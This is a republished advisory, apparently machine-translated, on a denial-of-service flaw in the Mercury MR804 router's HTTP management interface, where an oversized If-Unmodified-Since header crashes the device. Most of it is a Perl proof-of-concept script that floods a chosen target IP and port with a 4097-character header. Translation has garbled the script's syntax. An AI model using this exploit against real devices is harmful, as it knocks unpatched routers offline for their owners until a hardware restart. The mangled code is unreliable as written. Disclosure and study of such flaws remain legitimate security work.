Mercury MR804 DoS Vulnerability

Source: Internet
Author: User

Mercury MR804 is a small router product.
Mercury MR804 (Hardware Version: MR804 v8.0 081C3113, Software Version: 3.8.1 Build 101220 Rel.53006nB) has a security vulnerability in processing HTTP headers. You can use specially crafted HTTP headers to cause the device to stop responding.
Detailed Description: HTTP/WEB Management Interface (TCP80) of Mercury MR804) the value of "If-Modified-Since, If-None-Match, If-Unmodified-Since, and other fields in the HTTP header is too long (greater than or equal to 4097 characters) the HTTP request will crash immediately. You must restart the hardware device to recover it.

POC:
#-------------------------------------------------------------
#! /Usr/bin/perl-w
Use Socket;
$ | = 1;
Print '*********************************'. "\ n ";
Print '* mercurycom MR804 v8.0 DoS PoC *'. "\ n ";
Print '* writed by demonalex@163.com www.2cto.com *'. "\ n ";
Print '*********************************'. "\ n ";
$ Edevil = 'A' x4097;
$ Test_ip = shift; # target ip
$ Test_port = shift; # target port
If (! Defined ($ test_ip) |! Defined ($ test_port )){
Die "usage: $0 target_ip target_port \ n ";
}
$ Test_payload =
"GET/HTTP/1.0 \ r \ n ".
"Accept: */* \ r \ n ".
"Accept-Language: zh-cn \ r \ n ".
"UA-CPU: x86 \ r \ n ".
"If-Unmodified-Since:". $ edevil. "\ r \ n ".
"Accept-Encoding: gzip, deflate \ r \ n ".
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1;. net clr 1.1.4322 ;".
". Net clr 2.0.50727;. net clr 3.0.20.6.2152;. net clr 3.5.30729; 360SE) \ r \ n ".
"Host:". $ test_ip. "\ r \ n ".
"Connection: Keep-Alive". "\ r \ n ";
$ Test_target = inet_aton ($ test_ip );
$ Test_target = sockaddr_in ($ test_port, $ test_target );
Socket (SOCK, AF_INET, SOCK_STREAM, 6) | die "cannot create socket! \ N ";
Connect (SOCK, $ test_target) | die "cannot connect the target! \ N ";
Send (SOCK, $ test_payload, 0) | die "cannot send the payload! \ N ";
# Recv (SOCK, $ test_payload, 100, 0 );
Close (SOCK );
Print "done! \ N ";
Exit (1 );
#-------------------------------------------------------------
Solution:

Currently, the vendor has not provided patches or upgrade programs.

Author: demonalex

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.